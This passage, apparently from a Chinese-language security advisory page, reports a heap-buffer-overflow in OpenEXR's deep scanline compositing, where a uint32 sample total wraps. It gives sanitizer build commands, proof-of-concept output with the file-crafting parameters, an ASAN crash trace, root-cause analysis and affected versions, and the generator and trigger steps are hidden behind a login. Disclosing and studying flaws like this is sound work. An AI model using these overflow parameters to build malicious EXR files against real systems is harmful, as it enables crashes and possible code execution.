打开EXR文件,迭代部件,选择DEEPSCANLINE,将源添加到CompositeDeepScanLine,绑定一个普通的FrameBuffer,然后调用readPixels。

2、使用ASAN/UBSAN构建:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

3、生成恶意文件(解码路径聚焦型文件):

管理员已设置登录后刷新可查看

4、触发器:

管理员已设置登录后刷新可查看

ASAN构建速度较慢。如有需要,使用未经过安全处理的构建版本配合调试器进行迭代会更快。

5、示例运行

Writer (abpev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

 

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

6、根本原因分析

CompositeDeepScanLine::readPixels函数中:

每个像素的总数被累加到`vector<unsigned int>`类型的`total_sizes`变量中。

对于攻击者控制下跨越多个部分的大量计数,total_sizes[ptr]会以2^32为模进行取模运算。

然后,从封装后的总数中推导出 overall_sample_count,并将其用于 samples[channel].resize(overall_sample_count)

解码指针设置/消耗过程会使用真实的样本计数,

而核心解包(generic_unpack_deep_pointers)中的写入操作会溢出尺寸过小的复合样本缓冲区。

分配是基于一个微小的封装值,但解码写入对应的是真正的大样本量。

影响:解码过程中发生堆溢出写入。这至少会导致可靠崩溃/拒绝服务(DoS)。由于堆损坏,此漏洞可能被用于潜在的远程代码执行。

四、影响范围

OpenEXR <= 3.2.6

OpenEXR <= 3.3.8

OpenEXR <= 3.4.6

五、修复建议

OpenEXR > 3.2.6

OpenEXR > 3.3.8

OpenEXR > 3.4.6

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接